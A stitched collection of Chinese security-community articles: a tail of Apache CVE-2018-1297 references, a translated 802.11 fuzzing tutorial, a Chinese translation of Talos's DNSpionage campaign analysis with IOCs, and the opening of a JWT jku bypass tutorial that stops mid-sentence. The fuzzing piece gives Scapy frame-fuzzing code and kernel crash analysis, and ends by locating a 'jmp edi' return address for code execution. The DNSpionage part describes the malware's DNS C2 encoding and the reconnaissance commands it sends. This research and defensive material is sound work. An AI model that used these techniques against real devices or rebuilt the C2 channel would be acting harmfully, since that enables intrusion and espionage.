#### 1.4. 参考链接
<http://mail-archives.apache.org/mod_mbox/www-announce/201802.mbox/%3CCAH9fUpaNzk5am8oFe07RQ-kynCsQv54yB-uYs9bEnz7tbX-O7g%40mail.gmail.com%3E>
<http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201802-536>
<https://bz.apache.org/bugzilla/show_bug.cgi?id=62039>
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1297>
<https://github.com/frohoff/ysoserial> | 社区文章 |
# 【技术分享】基于802.11Fuzz技术的研究
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[](http://bobao.360.cn/member/contribute?uid=2665001095)[icecolor](http://bobao.360.cn/member/contribute?uid=775238387)
稿费：500RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
关于无线的Fuzz最开始接触了解时，国内基本毛线都搜不到。经过几个月的资料搜集和学习，将大约全网的fuzz资料整理翻译分析并读懂写下，就为填补国内空白，也希望无线爱好者能多多交流。
在各个安全领域的漏洞挖掘方法中，Fuzz都挺流行的.
Fuzz是一种黑盒软件测试技术，这基本上是使用畸形或半自动化的方式在一个畸形的数据注入发现执行错误，运用在协议也比较多。当源代码是不可用的时候，还是不错的，在802.11协议方面，Fuzzing的层面也比较多，特别是针对驱动和接入点的。
802.11的 State machine ，802.11标准规定的State machine
这里有‘State1 ，State2，State3’这三个状态。它这写的比较模糊，不太容易懂，翻译过来有点懵逼。其实这三个State的本意该是：
State1：是用于访问点的客户端设备的初始状态。
State2：是通过对访问点进行身份验证的身份验证状态。
State3：是一个授权发送接受数据通信帧并通过无线接入点和有线网络的关联的状态转换过程，然后反馈802.11Frames.
上面都提到了，802.11标准规定状态机必须在固件或者驱动中实现，许多的驱动管理的状态为了保证它的运行，都采用例如一个AP接受了Assoc请求后，只包括一个网络配置名称，这三个状态是很重要的，Fuzz的思路就是从这三个State机制中来。
802.11还定义了三种帧类型（就是上面那Class）：
Class1 Frames：允许从State1、2和3探测请求/响应,beacon,身份验证请求/响应/解除认证
Class2 Frames：只有经过身份验证,可以从State2和3(重新)Assoc请求/响应/解除关联
Class3 Frames：只有在Assoc请求下，可以能在State3内解除认证
每个State都可以进行fuzzing，但是第一个肯定是比后两个容易，因为后面两个都提到了需要成功认证的协议。
（两个图，第一个详细点，那个能看懂就看那个就行了）
**一、Access Points Fuzzing 802.11 的介绍：**
1、Fuzzing原理
无线协议里面，Beacon是802.11里面的一个重要组成部分，它涵盖了几乎所有AP的重要配置信息。
下面举个ApFuzzing框架的例子，就是通过构建畸形数据包，并将针对Wi-Fi 设备，然后发现已知和未知的漏洞。
Fuzzing802.11接入点，类似于802.11 client的fuzzing。无线客户端功能由接入点解析
802.11个访问点栈将解析大量的802.11的数据包：
*Probe request
*Authentication requests
*Association requests
*Crypted and unencrypted data frames
*Control frames
还有一些其他协议接入点可以fuzzing：
WPA/WPA2 handshakes
基于EAP的认证
基于State的Fuzzing
State1进行成功的身份验证请求
State2 进行成功的关联请求
State3是基于认证成功的密钥交换
****
****
2.Fuzzing 举例
Scapy是一个开放源代码的网络编程语言，它是基于Python，可以重放数据，捕获分析，产生随机数据包。可以根据自己的测试需求去改变，好像好多东西都需要它的支持，用处挺大的。有人基于Scapy写了一个叫做wifuzz的工具，写的接入点挺全的，能够fuzz出一些堆栈错误或者Crash，支持的接入点：
我选了个auth 模式的FUZZ，它会将FUZZ出来的的数据保存到一个路径下供我们查看。
$ sudo python wifuzz.py -s fuzztest auth
Thur Sep 26 21:41:36 2016 {MAIN} Target SSID: fuzztest; Interface: wlan0; Ping timeout:
60;PCAP directory: /dev/shm; Test mode? False; Fuzzer(s): auth;
Thur Sep 26 21:41:36 2016 {WIFI} Waiting for a beacon from SSID=[fuzztest] Thur Sep 26 21:41:36 2016 {WIFI} Beacon from SSID=[fuzztest] found (MAC=[11:22:33:44:55:66])
Thur Sep 26 21:41:36 2016 {WIFI} Starting fuzz 'auth'
Thur Sep 26 21:41:36 2016 {WIFI} [R00001] Sending packets 1-100
Thur Sep 26 21:41:50 2016 {WIFI} [R00001] Checking if the AP is still up...
Thur Sep 26 21:41:50 2016 {WIFI} Waiting for a beacon from SSID=[fuzztest] Thur Sep 26 21:41:50 2016 {WIFI} Beacon from SSID=[fuzztest] found (MAC=[11:22:33:44:55:66])
Thur Sep 26 21:41:50 2016 {WIFI} [R00002] Sending packets 101-200 Thur Sep 26 21:42:04 2016 {WIFI} [R00002] Checking if the AP is still up...
Thur Sep 26 21:42:04 2016 {WIFI} Waiting for a beacon from SSID=[fuzztest]
Thur Sep 26 21:42:04 2016 {WIFI} Beacon from SSID=[fuzztest] found (MAC=[11:22:33:44:55:66])
Thur Sep 26 21:42:04 2016 {WIFI} [R00003] Sending packets 201-300 Thur Sep 26 21:42:18 2016 {WIFI} [R00003] Checking if the AP is still up...
Thur Sep 26 21:42:18 2016 {WIFI} Waiting for a beacon from SSID=[fuzztest] Thur Sep 26 21:42:19 2016 {WIFI} Beacon from SSID=[fuzztest] found (MAC=[11:22:33:44:55:66])
Thur Sep 26 21:42:19 2016 {WIFI} [R00004] Sending packets 301-400
Thur Sep 26 21:42:42 2016 {WIFI} [R00004] recv() timeout exceeded! (packet #325) Thur Sep 26 21:42:42 2016 {WIFI} [R00004] Checking if the AP is still up...
Thur Sep 26 21:42:42 2016 {WIFI} Waiting for a beacon from SSID=[fuzztest]
Thur Sep 26 10:40:42 2016 {WIFI} [!] The AP does not respond anymore. Latest test-case has been written to '/dev/shm/wifuzz-69erb.pcap'
再来个Beacon的内容配置：
在Metasploit中呢，有一个专门用于fuzz
Beacon的模块，不过要自己安装Lorcon2这个无线注入模块。[https://github.com/gitpan/Net-Lorcon2](https://github.com/gitpan/Net-Lorcon2) 安装后要配置好环境变量，这时候容易出错，细心点就行了。
因为是 Beacon这个接入点的FUZZ，那么它会产生无规则信息。
****
这就是个简单的举例，大家读懂了协议，Fuzzer都可以自己来。
****
**二、基于802.11 Driver 的Fuzzing**
关于802.11协议标准的深入解析
（1）802.11扩展有点复杂的…
几种帧类型（管理，数据，控制）大量的信令
速率，信道，网络名称，密码
所有这些东西都必须由固件/驱动程序解析
单独的针对驱动进行闭源驱动、逆向，开源驱动，黑白审计什么的，会很难….也很费劲，所以，Fuzz是一种很不错的选择
（2）Madwifi：是个Linux下的无线驱动，例如Atheros芯片驱动（没搞过无线的应该不知道不同芯片之间有啥区别，google一下就行了）
（3）802.11芯片提供了几种模式的操作用处：
监听802.11层
作为AP接入点
作为一个Ad-Hoc网络
作为一个Station
（4）802.11一共有两个扫描技术（主动与被动）
主动扫描：发送探测请求，并监听探测响应
被动扫描：监听Beacon和信道跳跃
（驱动可以监听Beacon和探测的响应数据。）
（5）802.11的扫描技术（主动与被动）
主动扫描：发送探测请求，并监听探测响应
被动扫描：监听Beacon和信道跳跃
驱动可以监听Beacon和探测的响应数据
1、Fuzzing原理及Fuzzer
关于information elements
信息元素是management frames.中的必要字段，信息元素是由类型、长度和值组成的。
信息元素由一个8位的类型字段，一个8位的长度字段，和多达255个字节的数据。 这种类型的结构是非常类似于在许多不同的协议中使用的普通类型-长度-值（TLV）形式。 信标和探测响应分组必须包含一个SSID 信息元素，对于大多数无线客户端处理数据包。一个支持信息元素值和信道信息元素。
拿这个老外的例子来说吧：
类型的元素为（1byte）
长度是Payload总长度的值（1byte）
Payload的信息元素值为（0-255byte）
有一些信息值是有固定长度的，如果不正确可能缓冲区溢出，如果在802.11内长度高于buffer的大小，则可能出现溢出。
例如。SSID属性，0为它的最小值，最大为32byte
用个循环来表示：
For SSID, test fuzz ssid {0, 1, MIN-1, MIN, MIN+1, MAX-1, MAX, MAX+1,
254, 255} length
长度值可能是有用的，以触发缓冲区溢出，如果不仔细检查的执行过程中的分析过程中的
802.11帧。这些信息大部分元素最小、固定或极大值可以不同于字节边界(0-255byte)。
发送帧只有Beacon Frames的信息不一定是802.11中制定的元素，这个是为了测试Driver是否能在Beacon中解析有用无用的信息。
SSID的information elements Random
frame = Dot11( proto=0,FCfield=0,ID=0,addr1=DST,addr2=BSSID,
addr3=BSSID,SC=0,addr4=None)
/Dot11Beacon(beacon_interval=100,cap="ESS")
/Dot11Elt(ID=0)
sendp(fuzz(frame), loop=1)
老外的这一个框架，什么都明白了就。
必须要知道解析器通常检查哪些信息元素，了解底层协议那是肯定的.例如WPA的information elements
WPA IE (1 byte)
WPA OUI (3 bytes)
WPA TYPE (1 byte) + WPA VERSION (2 bytes)
WPA multicast cipher (4 bytes)
Number of unicast ciphers (2 bytes: m value)
WPA list of unicast ciphers (4*m bytes)
Number of authentication suites (2 bytes: n value)
WPA list of authentication suites (4 * n bytes)
**当Fuzzer开始执行的时候，你可以用不同的“m”和“n”值来检查溢出•截断这些帧并且填充一些不相关的值来测试。**
其实呢，我还是觉得，有了方法和思路，根据自己的Idea去Fuzzing比什么都要好，有个叫wifuzzit的框架：
[https://github.com/bullo95/WiFi–/tree/master/wifuzzit](https://github.com/bullo95/WiFi--/tree/master/wifuzzit)
挺好的，也发现了一些溢出的CVE等：
[CVE-2008-1144年](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=en&tl=zh-CN&u=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1144&usg=ALkJrhgvuTduhqui0rxa8HTvcLqWadpbrg)
：Marvell的驱动EAPOL-密钥长度溢出（无线AP）
[CVE-2007-5474](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=en&tl=zh-CN&u=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5474&usg=ALkJrhgnELTTb5APKsN8je618sbeLKPbCA)
：Atheros的供应商特定信息元素溢出（无线AP）
[CVE-2007-0933](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=en&tl=zh-CN&u=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0933&usg=ALkJrhgqfql3jP1-cxEzuLzw2iUfQQ-7fw)
：缓冲区溢出在无线驱动程序6.0.0.18的的D-Link DWL-G650 +（无线STA）
[CVE-2007-5651](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=en&tl=zh-CN&u=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5651&usg=ALkJrhik-pWdSegiQbqAw2WrFO1HYMFfig)
：可扩展身份验证协议漏洞（Cisco的无线AP与有线交换机）
[CVE-2007-5475](https://translate.googleusercontent.com/translate_c?depth=1&hl=zh-CN&rurl=translate.google.com&sl=en&tl=zh-CN&u=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5475&usg=ALkJrhhPFlsR9dMxuYPuPC7exCl7NUkqOQ)
：Marvell的驱动多个信息元素溢出（无线AP）
**三、Windows** **上的Driver** ******Vulnerabilities**
****
其实关于Kernel的漏洞，只要你对Madwifi，无线协议比较清楚的话，再熟悉一些MIPS ,ARM指令就能看懂…注意是读懂，读懂不代表你也能挖出来。
差点把Google炸了才翻出一篇比较老的文章，专门写kernel的，我把主要地方给翻译下贴过来吧，前面讲协议的我看得懂可以分析下，这个后面涉及到内核的我也分析不了，做二进制的有这方面的需求的，可以看下：
最开始他也是提了802.11 Driver
的State，也是说根据State1Fuzzing来的思路，前面噼里啪啦说的跟我前面一样，我直接就贴他后面的漏洞分析。
一个DWL-G132 USB A5AGU.SYS在WINxp下的测试：结果是造成内核崩溃
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 56149a1b, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 56149a1b, address which referenced memory
ErrCode = 00000000
eax=00000000 ebx=82103ce0 ecx=00000002 edx=82864dd0 esi=f24105dc edi=8263b7a6
eip=56149a1b esp=80550658 ebp=82015000 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
56149a1b ?? ???
Resetting default scope
LAST_CONTROL_TRANSFER: from 56149a1b to 804e2158
FAILED_INSTRUCTION_ADDRESS:
+56149a1b
56149a1b ?? ???
STACK_TEXT:
805505e4 56149a1b badb0d00 82864dd0 00000000 nt!KiTrap0E+0x233
80550654 82015000 82103ce0 81f15e10 8263b79c 0x56149a1b
80550664 f2408d54 81f15e10 82103c00 82015000 0x82015000
80550694 f24019cc 82015000 82103ce0 82015000 A5AGU+0x28d54
805506b8 f2413540 824ff008 0000000b 82015000 A5AGU+0x219cc
805506d8 f2414fae 824ff008 0000000b 0000000c A5AGU+0x33540
805506f4 f24146ae f241d328 8263b760 81f75000 A5AGU+0x34fae
80550704 f2417197 824ff008 00000001 8263b760 A5AGU+0x346ae
80550728 804e42cc 00000000 821f0008 00000000 A5AGU+0x37197
80550758 f74acee5 821f0008 822650a8 829fb028 nt!IopfCompleteRequest+0xa2
805507c0 f74adb57 8295a258 00000000 829fb7d8 USBPORT!USBPORT_CompleteTransfer+0x373
805507f0 f74ae754 026e6f44 829fb0e0 829fb0e0 USBPORT!USBPORT_DoneTransfer+0x137
80550828 f74aff6a 829fb028 804e3579 829fb230 USBPORT!USBPORT_FlushDoneTransferList+0x16c
80550854 f74bdfb0 829fb028 804e3579 829fb028 USBPORT!USBPORT_DpcWorker+0x224
80550890 f74be128 829fb028 00000001 80559580 USBPORT!USBPORT_IsrDpcWorker+0x37e
805508ac 804dc179 829fb64c 6b755044 00000000 USBPORT!USBPORT_IsrDpc+0x166
805508d0 804dc0ed 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
805508d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
Fuzz的五秒钟已产生一个缺陷，已经可能对指针进行控制。
为了执行任意代码，然而，一个恶意框架必须定位。在这种情况下，在`EDI`寄存器所指向成一样的方式，它在Broadcom漏洞做了帧的源地址字段。
随机生成信息元素之一-假`EIP`值到源地址。
kd> dd 0x8263b7a6 (edi)
8263b7a6 f3793ee8 3ee8a34e a34ef379 6eb215f0
8263b7b6 fde19019 006431d8 9b001740 63594364
kd> s 0x8263b7a6 Lffff 0x1b 0x9a 0x14 0x56
8263bd2b 1b 9a 14 56 2a 85 56 63-00 55 0c 0f 63 6e 17 51 ...V*.Vc.U..cn.Q
下一步是确定哪些信息元素是Crash的原因。 解码后的内存Frame进行了一系列的修直到导致崩溃的特定信息元素被发现。
通过这种方法，确定了溢出的存在利用这个漏洞涉及发现内存中的返回地址指向一个JMP EDI，EDI ，或推电子数据交换;
ret指令序列。这是通过运行msfpescan应用程序中包含的ntoskrnl Metasploit框架。
所得的地址必须被调整以考虑内核的基址。ntoskrnl.exe中的地址是0x804f16eb（0x800d7000 + 0x0041a6eb）
$ msfpescan ntoskrnl.exe -j edi
[ntoskrnl.exe]
0x0040365d push edi; retn 0x0001
0x00405aab call edi
0x00409d56 push edi; ret
0x0041a6eb jmp edi
实在找不出比这更新的研究内容了，关于国外针对802.11
Fuzz的研究也停滞在了11年。阅读了大约30多份洋码子PDF与PPT以及学术论文，综合写下，有点辛苦…..不管研究不研究，只想让大家明白存在这么一种技术，它的原理是这样，也希望在中文引擎的搜索上，出现关于这一技术的研究内容，如果你也恰好研究过，发现了那里不妥或者出现了错误或者是有更好的方法，欢迎交流指正。上来就喷的，你也放心，我一定会给你喷回去的。 | 社区文章 |
### 事件摘要
思科Talos公司最近发现了一个以影响.gov域名为攻击手段的安全事件，而此安全事件主要针对黎巴嫩和阿拉伯联合酋长国（阿联酋）以及一家私营的黎巴嫩航空公司。根据我们的研究，攻击者花费了许多时间来了解受害者的基础网络，以便能够在实施攻击的时候保持隐蔽性。
根据我们捕获到的攻击者基础设施情况以及TTP的详情，我们无法将此攻击事件同最近其余事件相联系。
此次攻击中，攻击者使用了两个虚假的恶意网站，其中一个网站包含了嵌入式的恶意Microsoft
Office文档并用此来阻止目标作业的发布。我们称此攻击软件为“DNSpionage”，而此软件支持受害者与攻击者的HTTP和DNS进行通信。
在某些攻击事件中，攻击者往往使用相同的IP来重定向合法的.gov和私有域的DNS。每次在DNS工作期间，攻击者都会为重定向的域生成了Let加密证书，并为用户免费提供X.509
TLS证书。然而，我们目前还并不知道DNS重定向是否能够成功。
在这篇文章中，我们将分析攻击者的手段，并展示他们如何使用恶意文档来诱骗用户打开伪装成求职者的“求职”网站。
此外，我们将详细叙述DNS重定向事件的攻击时间轴。
### 攻击参数
#### 虚假工作网站
攻击者在攻击初始时使用了两个恶意网站，而此两个网站模仿了合法网站的工作列表：
* hr-wipro[.]com (with a redirection to wipro.com)
* hr-suncor[.]com (with a redirection to suncor.com)
这些站点托管了恶意的Microsoft
Office文档：`hxxp://hrsuncor[.]com/Suncor_employment_form[.]doc.`
该文件存在于加拿大可持续能源公司Suncor Energy网站，并且此网站提供了合法文件的副本，其中包含恶意的代码。
此时，我们并不知道目标是如何收到这些链接的。
攻击者很可能通过电子邮件发送恶意文档并使用鱼叉式网络钓鱼攻击。但它也可以通过社交媒体平台（如LinkedIn）进行恶意传播，以试图使新发布的工作机会合法化。
#### 恶意文档文件
打开第一个Office文档后，用户会收到一条消息“可用的内容模式”：
分析攻击样本我们可以将其攻击分为以下两个部分：
1. 打开文档时，宏将解码成为由base64编码的PE文件，并将其从`％UserProfile％\ .oracServices \ svchost_serv.doc`中删除。
2. 当文档关闭时，宏将文件“`svchost_serv.doc`”重命名为“`svchost_serv.exe`”。 然后，宏创建一个名为“`chromium updater v 37.5.0`”的计划任务，以便执行二进制文件。 计划任务每分钟立即执行一次。
这两个步骤的目的是避免沙盒检测。
有效负载在Microsoft Office关闭时执行，这意味着需要人工交互才能部署它。 这些宏虽然可通过分析获得，但在Microsoft
Word中却受密码保护，以阻止受害者通过Microsoft Office查看宏代码。
此外，宏使用经典的字符串混淆以避免字符串检测：
“`schedule.service`”字符串由一系列事件共同创建。 最终的有效负载是一个名为“DNSpionage”的远程管理工具。
### DNSPIONAGE恶意软件
#### 恶意软件分析
恶意文档中存在的恶意软件是并没有记录过的远程管理工具。 因为它支持DNS通道作为与攻击者设施进行通信的隐蔽通道，所以我们将其命名为DNSpionage。
`DNSpionage`在运行目录中创建自己的数据：
%UserProfile%\.oracleServices/
%UserProfile%\.oracleServices/Apps/
%UserProfile%\.oracleServices/Configure.txt
%UserProfile%\.oracleServices/Downloads/
%UserProfile%\.oracleServices/log.txt
%UserProfile%\.oracleServices/svshost_serv.exe
%UserProfile%\.oracleServices/Uploads/
攻击者使用Downloads目录存储从C2服务器下载的其他脚本和工具。
在将文件转发到C2服务器之前，攻击者使用Uploads目录临时存储文件。
log.txt文件包含文本日志。
所有执行的命令都被记录在该文件中，它还包含命令的执行结果。
最后一个文件是`Configure.txt`。 正如所料，此文件包含恶意软件的配置清单。
攻击者可以指定自定义命令和控制（C2）服务器URL，以及充当DNS通道的域。 此外，攻击者可以指定自定义base64字母表进行混淆。
我们发现攻击者为每个目标均设立了自定义字母。
所有数据都以JSON格式传输。 这就是为什么恶意软件的大部分代码都是JSON库的原因。
#### 通信通道
恶意软件使用HTTP和DNS以与C2服务器通信。
使用base64编码的随机数据执行DNS请求（到0ffice36o [.] com）。
此请求注册到受感染的系统并接收HTTP服务器的IP（调查期间，其IP地址为185.20.184.138）。 DNS请求的示例：
yyqagfzvwmd4j5ddiscdgjbe6uccgjaq[.]0ffice36o[.]com
恶意软件能够制作用于向攻击者提供进一步信息的DNS请求。 以下是请求示例：
oGjBGFDHSMRQGQ4HY000[.]0ffice36o[.]com
在此上下文中，前四个字符由恶意软件使用`rand()`随机生成。 然后，域的其余部分在base32中编码，一旦解码，值则被设置为`1Fy2048`。
“Fy”是目标的ID，“2048”（0x800）表示“未找到配置文件”。 如果未在受感染的计算机上检索到配置文件，则会执行该请求。
这是用于通知攻击者的消息。
恶意软件执行初始HTTP请求时在`hxxp://IP/Client/Login?id=Fy`检索其配置。
此请求将用于创建配置文件，尤其是设置自定义base64字典。
第二个HTTP请求是`hxxp://IP/index.html?id=XX`（其中“XX”是受感染系统的ID）
此请求的目的是检索订单。 该网站是一个虚假的维基百科页面：
这些命令包含在页面的源代码中：
在此示例中，命令使用标准base64算法进行编码，因为我们没有收到自定义字母表。 以下是配置文件中自定义字母表的另一个示例：
以下是自动发送到受感染系统的三个命令：
* {"c": "echo %username%", "i": "-4000", "t": -1, "k": 0}
* {"c": "hostname", "i": "-5000", "t": -1, "k": 0}
* {"c": "systeminfo | findstr /B /C:\"Domain\"", "i": "-6000", "t": -1, "k": 0}
恶意软件在执行这些命令后生成以下代码段：
攻击者要求使用用户名和主机名来检索受感染用户的域。 第一步显然是前期阶段。 数据最终被发送到`hxxp://IP/Client/Upload`。
最后，攻击者使用`CreateProcess()`函数执行命令，并将输出重定向到使用`CreatePipe()`创建的恶意软件的管道中。
该恶意软件还支持仅DNS模式。 在此模式下，订单和结论通过DNS处理。 此选项在受感染计算机上的`configure.txt`文件中被指定。
使用DNS有时可以更容易地将信息发送回攻击者，因为它通常会利用DNS协议来避免代理或Web过滤。
首先，恶意软件启动DNS查询以请求订单，例如：
RoyNGBDVIAA0[.]0ffice36o[.]com
我们必须忽略前四个字符，如本文前面提到的随机生成字符，相关数据是`GBDVIAA0`。 其解码值（base32）是“`0GT \ x00`”。
GT是目标ID，\ x00是请求号。
C2服务器回复DNS请求，而此请求包括了一个IP地址，虽然此IP地址并不总是有效的，但DNS协议完全可以对此接受，例如`0.1.0.3`。我们认为第一个值（0x0001）是下一个DNS请求的命令ID，0x0003是命令的大小。
其次，恶意软件使用命令ID执行DNS查询：
t0qIGBDVIAI0[.]0ffice36o[.]com (GBDVIAI0 => "0GT\x01")
C2服务器将返回一个新的IP地址：`100.105.114.0`。 如果我们转换ASCII中的值，我们使用要执行的命令“dir \ x00”。
最后，执行命令的结果将由多个DNS请求发送：
gLtAGJDVIAJAKZXWY000.0ffice36o[.]com -> GJDVIAJAKZXWY000 -> "2GT\x01 Vol"
TwGHGJDVIATVNVSSA000.0ffice36o[.]com -> GJDVIATVNVSSA000 -> "2GT\x02ume"
1QMUGJDVIA3JNYQGI000.0ffice36o[.]com -> GJDVIA3JNYQGI000 -> "2GT\x03in d"
iucCGJDVIBDSNF3GK000.0ffice36o[.]com -> GJDVIBDSNF3GK000 -> "2GT\x04rive"
viLxGJDVIBJAIMQGQ000.0ffice36o[.]com -> GJDVIBJAIMQGQ000 -> "2GT\x05 C h"
[...]
### 受害者
由于DNS渗透和思科公司的研究，我们能够确定一些受害者的来源以及10月和11月的攻击事件大致内容。 这是我们上面提到的`DNS-0ffice36o [.]
com`的图表：
此次访问是在黎巴嫩和阿联酋进行的。 此信息在下一节中描述的DNS重定向中确认。
### DNS 重定向
#### 介绍
Talos发现了三个与DNSpionage域相关联的IP：
* 185.20.184.138
* 185.161.211.72
* 185.20.187.8
这三个IP由DeltaHost托管。
最后一个IP与9月到11月之间的DNS重定向攻击有关。黎巴嫩和阿联酋多个公共部门的域名服务器以及黎巴嫩的一些公司受到了攻击，其控制下的主机名指向攻击者控制的IP地址。攻击者将主机名重定向到IP
`185.20.187.8`，并持续了一小段时间。在IP被重定向之前，攻击者使用Let加密服务创建了与域名匹配的证书。
在本节中，我们将介绍我们识别的所有DNS重定向实例以及与每个实例关联的攻击者证书。我们不知道重定向攻击最终是否能成功，或DNS重定向服务的确切目的。但是，此次攻击影响十分巨大，因为攻击者能够拦截在此期间发往这些主机名的所有流量。由于攻击者专门针对电子邮件和VPN流量，因此此类攻击可被用于收集其他一些隐私信息，例如电子邮件和/或VPN凭据。
由于我们收到的电子邮件也会到达攻击者的IP地址，所以如果其中有多因素的身份验证，那么它将允许攻击者滥用MFA代码。由于攻击者能够访问到电子邮件的内容，他们可以进行额外的攻击甚至对目标进行勒索行为。
我们识别到DNS重定向发生在多个地方。然而在这些攻击点中我们没有发现基础架构。 它也发生在公共和私营部门。
因此，我们认为这不是人为错误，也不是任何受影响组织中的管理用户的错误。 这是攻击者故意重定向DNS的恶意企图。
#### 黎巴嫩政府重定向事件
Talos发现黎巴嫩财政部的电子邮件域是恶意DNS重定向的受害者之一。
* `webmail.finance.gov.lb`于11月6日06:19:13 GMT重定向到`185.20.187.8`。 在同一天05:07:25，创建了Let's Encrypt证书。
#### 阿联酋政府重定向事件
阿联酋的公共领域部门也是目标之一。 我们从警察局（VPN和学院）和电信监管局确定了一个域名。
* `adpvpn.adpolice.gov.ae`于9月13日格林尼治标准时间06:39:39重定向至185.20.187.8。 同一天在05:37:54创建了Let's Encrypt证书。
* `mail.mgov.ae`于9月15日格林威治标准时间07:17:51重定向至`185.20.187.8`。 我们还在格林威治标准时间06:15:51创建了一个Let的加密证书。
* `mail.apc.gov.ae`于9月24日重定向至`185.20.187.8`。我们还在格林威治标准时间05:41:49创建了一个Let's加密证书。
#### 中东航空公司重定向事件
Talos发现，黎巴嫩中东航空公司（MEA）也是DNS重定向的受害者之一。
* `memail.mea.com.lb`于11月14日格林尼治标准时间11:58:36重定向至`185.20.187.8`
11月6日格林尼治标准时间10:35:10，创建了Let's Encrypt证书。
此证书包含主题行中的某些备用名称。DNS的一项功能就是允许将多个域添加到SSL活动的证书中：
* memail.mea.com.lb
* autodiscover.mea.com.lb
* owa.mea.com.lb
* www.mea.com.lb
* autodiscover.mea.aero
* autodiscover.meacorp.com.lb
* mea.aero
* meacorp.com.lb
* memailfr.meacorp.com.lb
* meoutlook.meacorp.com.lb
* tmec.mea.com.lb
上述内容清楚地展示了受害者的域名情况，使我们相信攻击者在这些环境中活跃地攻击事实，并了解他们需要生成的特定域名和证书详情。
### 结论
根据我们的调查，我们发现了两个事件：DNSpionage恶意软件和DNS重定向攻击事件。在恶意软件事件中，我们不知道确切的目标，但我们知道攻击者追踪黎巴嫩和阿联酋的用户。然而，如上所述，我们能够追踪到重定向事件的攻击目标。
根据我们的调查，我们非常坚定地认为此次两个事件均出自同一个组织之手。但是，我们对此攻击者的位置及其确切动机知之甚少。很明显，这个攻击者能够在两个月内从两个不同国家的政府以及一家黎巴嫩国家航空公司的所有域进行重定向DNS。通过使用DNS泄漏和重定向，他们能够从系统的角度使用Windows恶意软件以及网络来进行恶意行为。目前还不清楚这些DNS重定向攻击是否已经成功，但攻击者仍在进行攻击，到目前为止，攻击者已经发起了五次攻击，其中包括过去两周内的攻击。
用户应使用这些攻击事件作为其端点保护和网络保护的强大证据。
此次事件的攻击发起者是一名厉害的角色，显然他们的目标定在一些重要的组织上，他们似乎不会很结束自己的攻击。
### 事件报道
Snort规则48444和48445将阻止DNSpionage进行出站连接。
我们的客户可以用如下方法进行保护：
高级恶意软件防护（AMP）非常适合防止这些恶意软件的执行。
思科云网络安全（CWS）或网络安全设备（WSA）Web扫描可防止访问恶意网站并检测这些攻击中使用的恶意软件。
电子邮件安全可以阻止攻击者通过邮件进行传播木马。
下一代防火墙（NGFW），下一代入侵防御系统（NGIPS）和Meraki MX等网络安全设备可以检测与此威胁相关的恶意活动。 AMP Threat
Grid有助于识别恶意二进制文件并为所有思科安全产品构建保护。 Umbrella，我们的安全互联网网关（SIG）可以阻止用户连接到恶意域，IP和URL。
开源的SNORTⓇ用户规则客户可以通过下载在Snort.org上购买的最新规则包来提供安全保障。
### IOCS
以下IOC与在分析相关恶意活动期间观察到的各种恶意软件事件相关联。
虚假网站
hr-wipro[.]com
hr-suncor[.]com
恶意文件
9ea577a4b3faaf04a3bddbfcb934c9752bed0d0fc579f2152751c5f6923f7e14 (LB submit)
15fe5dbcd31be15f98aa9ba18755ee6264a26f5ea0877730b00ca0646d0f25fa (LB submit)
DNSpionage样例
2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec 82285b6743cc5e3545d8e67740a4d04c5aed138d9f31d7c16bd11188a2042969
45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff
C2服务器IP
185.20.184.138
185.20.187.8
185.161.211.72
C2服务器域名
0ffice36o[.]com
DNS域（指向185.20.187.8）
2018-11-14 : memail.mea.com.lb
2018-11-06 : webmail.finance.gov.lb
2018-09-24 : mail.apc.gov.ae
2018-09-15 : mail.mgov.ae
2018-09-13 : adpvpn.adpolice.gov.ae
MEA证书中的域名（185.20.187.8）：
memail.mea.com.lb
autodiscover.mea.com.lb
owa.mea.com.lb
www.mea.com.lb
autodiscover.mea.aero
autodiscover.meacorp.com.lb
mea.aero
meacorp.com.lb
memailr.meacorp.com.lb
meoutlook.meacorp.com.lb
tmec.mea.com.lb
本文为翻译稿，原文为https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html | 社区文章 |
# JWT jku/x5u Authentication bypass 学习与实践
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
之前对JWT的利用姿势只停留在拿到秘钥后进行身份伪造，前几天`Volgactf2021`遇到了一道jku的题，发现此前关于jku
权限绕过利用原理与利用手法的文章还是比较少的，趁此机会将这一块好好学一遍，希望对大家有用，欢迎大家批评指正！
## 0x01 jwt简介
> JSON Web Token (JWT)是一个开放标准(RFC 7519)，通常可用于在身份提供商和服务提供商之间传递用户的身份验证信息。
JWT由三部分组成，由”.”进行连接，分别是：
* 头部（Header）
* 有效载荷（Payload）
* 签名(Signature)
### Header
header用于标识用于生成签名的算法。如下：
{
"alg"： "HS256"，
"typ"： "JWT"
}
HS256 表示此令牌是使用HMAC-SHA256签名的。
### Payload
payload包含用户数据以及一些元数据有关的信息。比如：
{
